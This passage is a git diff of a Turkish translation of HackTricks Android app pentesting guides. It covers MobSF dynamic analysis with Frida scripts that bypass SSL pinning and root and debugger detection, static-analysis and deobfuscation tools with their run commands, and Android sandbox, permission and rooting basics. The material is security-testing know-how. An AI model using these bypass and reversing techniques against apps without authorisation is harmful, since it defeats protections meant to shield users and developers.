basmanız gerekmektedir. +* **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalanan metinler, sizin tarafından oluşturulan ekran görüntüleri, "**Exported Activity Tester**" tarafından oluşturulan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri hariç, ekran görüntüsü almak istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**"ı basmanız gerekmektedir. * **HTTPS trafiğini yakalama** * **Frida** kullanarak **çalışma zamanı bilgileri** elde etme -**Android** sürümlerinden > 5, **Frida'yı otomatik olarak başlatacak** ve global **proxy** ayarlarını **trafiği yakalamak** için ayarlayacaktır. Test edilen uygulamadan sadece trafiği yakalayacaktır. +**Android** sürümlerinden > 5, **Frida'yı otomatik olarak başlatacak** ve **global proxy** ayarlarını **trafiği yakalamak** için ayarlayacaktır. Test edilen uygulamadan sadece trafiği yakalayacaktır. **Frida** -Varsayılan olarak, ayrıca **SSL pinning'i atlatmak**, **root tespiti** ve **debugger tespiti** yapmak ve **ilginç API'leri izlemek** için bazı Frida Komut Dosyalarını kullanacaktır.\ -MobSF ayrıca dışa aktarılan etkinlikleri **çağırabilir**, onların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. +Varsayılan olarak, ayrıca bazı Frida Komut Dosyalarını kullanarak **SSL pinning'i atlatmak**, **root tespiti** ve **debugger tespiti** yapacak ve ilginç API'ları **izlemek** için kullanacaktır.\ +MobSF ayrıca dışa aktarılan etkinlikleri **başlatmayı**, onların **ekran görüntülerini yakalamayı** ve rapor için onları **kaydetmeyi** sağlayabilir. Dinamik testi başlatmak için yeşil düğmeye basın: "**Start Instrumentation**". Frida komut dosyaları tarafından oluşturulan günlükleri görmek için "**Frida Live Logs**" düğmesine basın ve kancalanan yöntemlere yapılan tüm çağrıları, iletilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" düğmesine basın ("Start Instrumentation" düğmesine bastıktan sonra görünecektir).\ MobSF ayrıca kendi **Frida komut dosyalarınızı** yüklemenize izin verir (Friday komut dosyalarınızın sonuçlarını MobSF'ye göndermek için `send()` işlevini kullanın). Yükleyebileceğiniz **çeşitli önceden yazılmış komut dosyaları** da vardır (`MobSF/DynamicAnalyzer/tools/frida_scripts/others/` içine daha fazlasını ekleyebilirsiniz), bunları **seçin**, "**Yükle**" düğmesine basın ve "**Start Instrumentation**" düğmesine basın (bu komut dosyalarının günlüklerini "**Frida Live Logs**" içinde görebileceksiniz). @@ -606,8 +609,8 @@ MobSF ayrıca kendi **Frida komut dosyalarınızı** yüklemenize izin verir (Fr Ayrıca, bazı Yardımcı Frida işlevleri bulunmaktadır: -* **Yüklenen Sınıfları Sırala**: Yüklenen tüm sınıfları yazdırır -* **Dizeleri Yakalama**: Uygulamayı kullanırken yakalanan tüm dizeleri yazdırır (çok gürültülü) +* **Yüklenen Sınıfları Sırala**: Yüklenen tüm sınıfları yazdıracaktır +* **Dizeleri Yakalama**: Uygulamayı kullanırken yakalanan tüm dizeleri yazdıracaktır (çok gürültülü) * **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun Doğru mu Yanlış mı olduğunu gösterecektir. * **Sınıf Yöntemlerini Sırala**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır. * **Sınıf Desenini Ara**: Desene göre sınıfları ara @@ -628,13 +631,13 @@ receivers ``` **HTTP araçları** -HTTP trafiği yakalandığında, yakalanan trafiğin kötü bir görünümünü "**HTTP(S) Trafik**" altında veya daha güzel bir görünümü "**HTTP Araçları Başlat**" yeşil altında görebilirsiniz. İkinci seçenekten, yakalanan istekleri Burp veya Owasp ZAP gibi **proxy'lere gönderebilirsiniz**.\ -Bunu yapmak için, _Burp'u açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzera Gönder**" düğmesine basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +HTTP trafiği yakalandığında, yakalanan trafiğin kötü bir görünümünü "**HTTP(S) Trafik**" altında veya daha güzel bir görünümü "**HTTP Araçları Başlat**" yeşil altında görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere gönderebilirsiniz**.\ +Bunu yapmak için, _Burp'u açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" düğmesine basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -MobSF ile dinamik analizi tamamladıktan sonra "**Web API Fuzzer'ı Başlat**" düğmesine basarak **http isteklerini fuzz** edebilir ve zayıflıkları arayabilirsiniz. +MobSF ile dinamik analizi tamamladıktan sonra, zayıflıkları aramak için "**Web API Fuzzer'ı Başlat**" düğmesine basabilirsiniz. {% hint style="info" %} -MobSF ile dinamik analiz yapıldıktan sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemeyebilirsiniz. Proxy ayarlarını düzeltmek için şunları yapabilirsiniz: +MobSF ile dinamik analiz yapıldıktan sonra, proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemeyebilirsiniz. Proxy ayarlarını düzeltmek için şunları yapabilirsiniz: ``` adb shell settings put global http_proxy :0 ``` @@ -643,7 +646,7 @@ adb shell settings put global http_proxy :0 ### Inspeckage ile Destekli Dinamik Analiz Araç [**Inspeckage**](https://github.com/ac-pm/Inspeckage) adresinden temin edilebilir.\ -Bu araç, **dinamik analiz** yaparken uygulamada neler olduğunu öğrenmenizi sağlamak için bazı **Hooks** kullanır. +Bu araç, bir **dinamik analiz** gerçekleştirirken uygulamada neler olduğunu bilmenizi sağlamak için bazı **Hooks** kullanır. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -653,7 +656,7 @@ Bu, bir GUI ile **statik analiz yapmak için harika bir araçtır** ### [Qark](https://github.com/linkedin/qark) -Bu araç, **kaynak kodunda** veya **paketlenmiş APK'lerde** çeşitli **güvenlikle ilgili Android uygulama zafiyetlerini** aramak için tasarlanmıştır. Araç ayrıca bazı bulunan zafiyetleri sömürmek için bir "Kavram Kanıtı" dağıtılabilir APK ve **ADB komutları** oluşturma yeteneğine sahiptir (Açık aktiviteler, intent'ler, tapjacking...). Drozer gibi, test cihazını rootlama ihtiyacı yoktur. +Bu araç, **kaynak kodunda** veya **paketlenmiş APK'lerde** çeşitli **güvenlikle ilgili Android uygulama zafiyetlerini** aramak için tasarlanmıştır. Araç ayrıca bazı bulunan zafiyetleri sömürmek için bir "Proof-of-Concept" dağıtılabilir APK ve **ADB komutları** oluşturma yeteneğine sahiptir (Açık aktiviteler, intent'ler, tapjacking...). Drozer gibi, test cihazını rootlama ihtiyacı yoktur. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -673,7 +676,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER, Windows, MacOS X ve Linux'da kullanılabilen bir komut satırı uygulamasıdır ve _.apk_ dosyalarını güvenlik açıklarını aramak için analiz eder. Bu işlemi APK'leri açarak ve bu açıkları tespit etmek için bir dizi kural uygulayarak yapar. +SUPER, Windows, MacOS X ve Linux'da kullanılabilen bir komut satırı uygulamasıdır ve _.apk_ dosyalarını güvenlik açıklarını aramak için analiz eder. Bu işlemi APK'leri açarak ve bu güvenlik açıklarını tespit etmek için bir dizi kural uygulayarak yapar. Tüm kurallar `rules.json` dosyasında merkezlenmiştir ve her şirket veya testçi kendi ihtiyaçlarını analiz etmek için kendi kurallarını oluşturabilir. @@ -685,11 +688,11 @@ super-analyzer {apk_file} ![](<../../.gitbook/assets/image (62).png>) -StaCoAn, mobil uygulamalarda **statik kod analizi** yapmak için geliştiricilere, hata avcılarına ve etik hackerlara yardımcı olan **çapraz platform** bir araçtır. +StaCoAn, mobil uygulamalarda **statik kod analizi** gerçekleştiren geliştiricilere, hata avcılarına ve etik hackerlara yardımcı olan **çapraz platform** bir araçtır. Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bıraktığınızda size görsel ve taşınabilir bir rapor oluşturacaktır. Ayarları ve kelime listelerini özelleştirebilirsiniz. -[En son sürümü indirin](https://github.com/vincentcox/StaCoAn/releases): +En son sürümü indirmek için [en son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin: ``` ./stacoan ``` @@ -705,9 +708,9 @@ androbugs.exe -f [APK file] **Androwarn**, Android uygulaması tarafından geliştirilen potansiyel kötü niyetli davranışları tespit etmek ve kullanıcıyı uyarı amacıyla tasarlanmış bir araçtır. -Tespit, uygulamanın Dalvik bytecode'ının **statik analizi** ile gerçekleştirilir ve bu bytecode **Smali** olarak temsil edilir. Bu işlem, [`androguard`](https://github.com/androguard/androguard) kütüphanesi ile yapılır. +Tespit, uygulamanın Dalvik bytecode'ının **statik analizi** ile gerçekleştirilir ve bu bytecode **Smali** olarak temsil edilir. Bu işlem için [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılır. -Bu araç, "kötü" uygulamaların yaygın davranışlarını arar, örneğin: Telefoni kimlik bilgilerinin dışa aktarılması, Ses/video akışının dinlenmesi, PIM verilerinin değiştirilmesi, Keyfi kod yürütme... +Bu araç, Telefoni kimlik bilgilerinin sızdırılması, Ses/video akışının dinlenmesi, PIM verilerinin değiştirilmesi, Keyfi kod yürütme gibi **"kötü" uygulamaların yaygın davranışlarını** arar. ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -715,15 +718,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../.gitbook/assets/image (81).png>) -**MARA**, Mobil Uygulama Tersine Mühendislik ve Analiz Çerçevesidir. OWASP mobil güvenlik tehditlerine karşı mobil uygulamaları test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik uzmanları için daha kolay ve dostane hale getirmektir. +**MARA**, **M**obil **A**pplication **R**everse engineering ve **A**nalysis Framework'üdür. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik uzmanları için daha kolay ve dostça hale getirmektir. Şunları yapabilir: * Farklı araçlar kullanarak Java ve Smali kodunu çıkartma * APK'leri şu şekilde analiz etme: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -* APK'den özel bilgileri regexps kullanarak çıkartma -* Manifesti analiz etme -* Bulunan alanları şu araçlar kullanarak analiz etme: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) +* APK'den regexps kullanarak özel bilgileri çıkartma. +* Manifesti analiz etme. +* Bulunan alanları şu şekilde analiz etme: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb) * APK'yi [apk-deguard.com](http://www.apk-deguard.com) aracılığıyla deobfuscate etme ### Koodous @@ -736,7 +739,7 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı ### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) -[Wikipedia'dan](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden bir açık kaynaklı komut satırı aracıdır. Bytecode'ı optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard ücretsiz yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır. +[Wikipedia'dan](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden bir açık kaynaklı komut satırı aracıdır. Bytecode'ları optimize edebilir ve kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, özgür yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır. ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulamayı yayınlama modunda derlerken çalışır. @@ -744,9 +747,9 @@ ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulamayı yay APK'nın deobfuscate edilmesi için adım adım kılavuz için [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) adresine bakın -(O kılavuzdan) Son kontrol ettiğimizde, Dexguard'ın işlem modu şuydu: +(O kılavuzdan) Son kontrol ettiğimizde, Dexguard'ın işlem modu şöyleydi: -* Bir kaynağı InputStream olarak yükle; +* Bir kaynağı bir InputStream olarak yükle; * Sonucu şifrelemek için FilterInputStream'den türeyen bir sınıfa besle; * Bir reverser'ın birkaç dakikasını boşa harcamak için bazı gereksiz obfuscation yap; * Şifrelenmiş sonucu almak için bir ZipInputStream'a besle ve bir DEX dosyası al; @@ -754,13 +757,13 @@ APK'nın deobfuscate edilmesi için adım adım kılavuz için [https://blog.lex ### [DeGuard](http://apk-deguard.com) -**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation işlemini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etmeyi de içeren birçok güvenlik analizine olanak tanır.** +**DeGuard, Android obfuscation araçları tarafından gerçekleştirilen obfuscation işlemini tersine çevirir. Bu, kod incelemesi ve kütüphaneleri tahmin etmeyi içeren birçok güvenlik analizine olanak tanır.** Obfuscated bir APK'yı platformlarına yükleyebilirsiniz. ### [Simplify](https://github.com/CalebFenton/simplify) -Bu, **genel bir android deobfuscator**'dır. Simplify, bir uygulamayı **neredeyse yürütür** ve ardından kodu **aynı şekilde davranacak şekilde optimize etmeye çalışır** ancak insanlar için daha anlaşılır hale getirir. Her optimizasyon türü basit ve geneldir, bu nedenle kullanılan belirli obfuscation türü önemli değildir. +Bu, **genel bir android deobfuscator**'dür. Simplify, bir uygulamayı **neredeyse yürütür** ve ardından kodu **aynı şekilde davranacak şekilde optimize etmeye çalışır** ancak insanlar için daha anlaşılır hale getirir. Her optimizasyon türü basit ve geneldir, bu nedenle kullanılan belirli obfuscation türü önemli değildir. ### [APKiD](https://github.com/rednaga/APKiD) @@ -768,7 +771,7 @@ APKiD, bir APK'nın **nasıl yapıldığı** hakkında bilgi verir. Birçok **de ### Manuel -Özel obfuscation'ı tersine çevirmenin bazı püf noktalarını öğrenmek için bu öğreticiyi okuyun: [**custom obfuscation'ı tersine çevirme**](manual-deobfuscation.md) +Özel obfuscation'ı tersine çevirmenin bazı püf noktalarını öğrenmek için bu kılavuzu okuyun: [manual-deobfuscation.md](manual-deobfuscation.md) ## Lablar @@ -779,7 +782,7 @@ AndroL4b, tersine mühendislik ve kötü amaçlı yazılım analizi için farkl ## Referanslar * [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Kaynakların harika bir listesi +* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi * [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kursu * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) @@ -792,15 +795,29 @@ AndroL4b, tersine mühendislik ve kötü amaçlı yazılım analizi için farkl
-Deneyimli hackerlar ve hata ödülü avcılarıyla iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! +[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun! -**Hacking İçgörüleri**\ -Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin +**Hacking Insights**\ +Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin **Gerçek Zamanlı Hack Haberleri**\ Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ -Yeni hata ödülleri ve önemli platform güncellemeleri hakkında bilgi edinin +En yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin **Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!** + +
+ +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! + +HackTricks'ı desteklemenin diğer yolları: + +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın. + +
diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index bef6bf1f7..c6e0af7ac 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -2,7 +2,7 @@
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: @@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları: **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -27,52 +27,52 @@ HackTricks'ı desteklemenin diğer yolları: **İki katman bulunmaktadır:** * **İşletim Sistemi (OS)**, yüklü uygulamaları birbirinden izole eder. -* **Uygulama kendisi**, geliştiricilere belirli işlevleri **açığa çıkarmalarına** ve uygulama yeteneklerini yapılandırmalarına olanak tanır. +* **Uygulama kendisi**, geliştiricilere **belirli işlevleri açığa çıkarma** ve uygulama yeteneklerini yapılandırma olanağı sağlar. ### UID Ayrımı -**Her uygulamaya belirli bir Kullanıcı Kimliği (UID) atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece uygulama yalnızca kendi UID'sine ait dosyalara veya paylaşılan dosyalara erişebilir. Bu nedenle, yalnızca uygulama kendisi, işletim sisteminin belirli bileşenleri ve kök kullanıcı uygulama verilerine erişebilir. +**Her uygulamaya belirli bir Kullanıcı Kimliği (UID) atanır**. Bu, uygulamanın yüklenmesi sırasında yapılır, böylece uygulama yalnızca kendi UID'sine ait dosyalara veya paylaşılan dosyalara erişebilir. Bu nedenle, yalnızca uygulama kendisi, OS'nin belirli bileşenleri ve kök kullanıcı uygulama verilerine erişebilir. ### UID Paylaşımı -**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu bilgi paylaşımı için yararlı olabilir, ancak bunlardan biri tehlikeye düşerse her iki uygulamanın verileri de tehlikeye düşer. Bu nedenle bu davranış **önerilmez**.\ -**Aynı UID'yi paylaşmak için uygulamalar, manifestolarında aynı `android:sharedUserId` değerini tanımlamalıdır.** +**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu, bilgi paylaşmak için faydalı olabilir, ancak bunlardan biri tehlikeye düşerse her iki uygulamanın verileri de tehlikeye düşer. Bu nedenle bu davranış **önlenir**.\ +**Aynı UID'yi paylaşmak için uygulamalar, manifestlerinde aynı `android:sharedUserId` değerini tanımlamalıdır.** ### Kum Sandığı (Sandboxing) -**Android Uygulama Kum Sandığı**, **her uygulamanın** ayrı bir süreç olarak çalışmasına olanak tanır ve her birine ayrı bir kullanıcı kimliği atar. Her sürecin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\ -Android 5.0(L) itibariyle **SELinux** zorunlu hale getirilmiştir. Temelde, SELinux tüm süreç etkileşimlerini reddetti ve ardından bunlar arasındaki **beklenen etkileşimlere yalnızca izin veren politikalar oluşturdu**. +**Android Uygulama Kum Sandığı**, **her uygulamayı** ayrı bir işlem olarak çalıştırmaya olanak tanır ve her birine ayrı bir kullanıcı kimliği atar. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\ +Android 5.0(L) itibariyle **SELinux** zorunlu hale getirilmiştir. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından bunlar arasındaki **beklenen etkileşimlere yalnızca izin veren politikalar oluşturdu**. ### İzinler -Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu özellik belirtilenden daha yüksek sürümlerde izin istemeyi durdurur.\ -Android uygulamalarının tüm izinleri başlangıçta sorması gerekmediğini unutmayın, ayrıca **izinleri dinamik olarak da isteyebilirler** ancak tüm izinler **manifestoda belirtilmelidir**. +Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını içeren **name** **özniteliğini** belirtir. Ayrıca **maxSdkVersion** özniteliği vardır, bu, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durdurur.\ +Android uygulamalarının tüm izinleri başlangıçta sorması gerekmediğini unutmayın, ayrıca **izinleri dinamik olarak isteyebilirler** ancak tüm izinler **manifestte belirtilmelidir**. Bir uygulama işlevsellik açığa çıkardığında, **erişimi yalnızca belirli bir izne sahip uygulamalara sınırlayabilir**.\ Bir izin öğesinin üç özelliği vardır: * İzinin **adı** * İzin grubu özniteliği, ilgili izinleri gruplandırmaya olanak tanır. -* İzinlerin nasıl verildiğini belirten **koruma düzeyi**. Dört tür vardır: -* **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onayı gerekmez**. +* İzin seviyesi, izinlerin nasıl verildiğini belirtir. Dört tür vardır: +* **Normal**: Uygulamaya **bilinen tehditler** olmadığında kullanılır. Kullanıcının **onaylaması gerekmez**. * **Tehlikeli**: İzinin isteyen uygulamaya bazı **yükseltilmiş erişim** sağladığını belirtir. **Kullanıcıların onayını talep eder**. -* **Signature**: Yalnızca **bileşeni ihraç eden sertifika ile aynı sertifikaya sahip uygulamalara** izin verilebilir. Bu en güçlü koruma türüdür. -* **SignatureOrSystem**: Yalnızca **bileşeni ihraç eden sertifika ile aynı sertifikaya sahip uygulamalara** veya **sistem düzeyinde erişimle çalışan uygulamalara** izin verilebilir +* **Signature**: Yalnızca **bileşeni dışa aktaran sertifika ile aynı sertifikaya sahip uygulamalara** izin verilebilir. Bu, en güçlü koruma türüdür. +* **SignatureOrSystem**: Yalnızca **bileşeni dışa aktaran sertifika ile aynı sertifikaya sahip uygulamalara** veya **sistem düzeyinde erişimle çalışan uygulamalara** izin verilebilir ## Ön Yüklü Uygulamalar -Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar kontrol edilmeye değerdir çünkü bazen **çok fazla izinle çalışırlar** (kök olarak). +Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinlerinde bulunur ve bazıları **optimize edilmiştir** (bazen `classes.dex` dosyasını bile bulamayabilirsiniz). Bu uygulamalar, bazen **kök olarak çalıştıkları için çok fazla izinle çalıştıklarından** kontrol edilmeye değerdir. * **AOSP** (Android Açık Kaynak Projesi) **ROM** ile birlikte gönderilenler * Cihaz **üreticisi** tarafından eklenenler -* Cep telefonu sağlayıcısı tarafından eklenenler (onlardan satın alındıysa) +* Cep **telefonu sağlayıcısı** tarafından eklenenler (onlardan satın alındıysa) ## Rootlama Fiziksel bir Android cihaza kök erişim elde etmek için genellikle cihaza ve sürüme **özgü** olan 1 veya 2 **zafiyeti sömürmeniz gerekir**.\ -Sömürü çalıştığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`. +Sömürü çalıştığında genellikle Linux `su` ikili dosyası, kullanıcının PATH çevresel değişkeninde belirtilen bir konuma (`/system/xbin` gibi) kopyalanır. -`su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyasıyla etkileşim kurmak ve **kök erişimi taleplerini işlemek için** kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur). +`su` ikili dosyası yapılandırıldığında, başka bir Android uygulaması `su` ikili dosyasıyla etkileşim kurmak ve **kök erişimi taleplerini işlemek** için kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play Store'da mevcuttur). {% hint style="danger" %} Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir @@ -83,24 +83,24 @@ Rootlama işlemi çok tehlikelidir ve cihaza ciddi zarar verebilir **Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak eski bir cihazın kullanışlılığını artırabilir, yazılım kısıtlamalarını atlayabilir veya en son Android koduna erişim sağlayabilirsiniz.\ **OmniROM** ve **LineageOS**, kullanılan en popüler yazılımlardan ikisidir. -Cihazın **özelleştirilmiş bir yazılım yüklemek için kök erişim gerekli olmadığına** dikkat edin. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açmalarına izin verir. +Cihazın **rootlanması her zaman gerekli olmayabilir**. **Bazı üreticiler**, bootloader'larının belgeli ve güvenli bir şekilde kilidini açılmasına izin verir. -### Sonuçlar +### Etkiler -Bir cihaz köklendiğinde, herhangi bir uygulama kök erişimini isteyebilir. Kötü niyetli bir uygulama bunu alırsa, neredeyse her şeye erişimi olacak ve telefona zarar verebilecektir. +Bir cihaz rootlandığında, herhangi bir uygulama kök erişimini isteyebilir. Kötü niyetli bir uygulama bunu alırsa, neredeyse her şeye erişimi olacak ve telefona zarar verebilecektir. ## Android Uygulama Temelleri -- Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek içerik çıkarılabilir ve görüntülenebilir). +- Android uygulamalarının formatı _APK dosya formatı_ olarak adlandırılır. Temelde bir **ZIP dosyasıdır** (dosya uzantısını .zip olarak değiştirerek içeriği çıkarılabilir ve görüntülenebilir). - APK İçeriği (Eksiksiz Değil) - **AndroidManifest.xml** - resources.arsc/strings.xml - resources.arsc: derlenmiş kaynakları, ikili XML gibi içeren. - res/xml/files\_paths.xml - META-INF/ -- Burada Sertifika bulunur! +- Sertifikanın bulunduğu yer burasıdır! - **classes.dex** -- Uygulamanın varsayılan olarak yürüttüğü derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir. +- Varsayılan olarak uygulamanın yürüttüğü derlenmiş Java (veya Kotlin) kodunu temsil eden Dalvik bytecode içerir. - lib/ - CPU mimarisine göre alt dizinlerde ayrılmış yerel kütüphaneleri barındırır. - `armeabi`: ARM tabanlı işlemciler için kod @@ -108,37 +108,37 @@ Bir cihaz köklendiğinde, herhangi bir uygulama kök erişimini isteyebilir. K - `x86`: X86 işlemciler için kod - `mips`: Yalnızca MIPS işlemciler için kod - assets/ -- Uygulama tarafından gereken çeşitli dosyaları saklar, ek kodu gizlemek için bazen kötü niyetli yazarlar tarafından kullanılan ek yerel kütüpheler veya DEX dosyalarını içerebilir. +- Uygulama tarafından gereken çeşitli dosyaları saklar, ek kodları gizlemek için bazen kötü niyetli yazarlar tarafından kullanılan ek native kütüpheler veya DEX dosyalarını içerebilir. - res/ -- Derlenmiş olmayan kaynakları içerir. +- resources.arsc'ye derlenmeyen kaynakları içerir ### **Dalvik ve Smali** -Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi daha yeni Android sürümlerinde Android Runtime (ART) devralır. +Android geliştirmede **Java veya Kotlin** uygulamalar oluşturmak için kullanılır. Masaüstü uygulamalarında JVM kullanılmak yerine Android bu kodu **Dalvik Yürütülebilir (DEX) bytecode**'a derler. Önceden, Dalvik sanal makinesi bu bytecode'u işlerken, şimdi, Android Runtime (ART) daha yeni Android sürümlerinde devralır. -Tersine mühendislik için **Smali** hayati hale gelir. Bu, 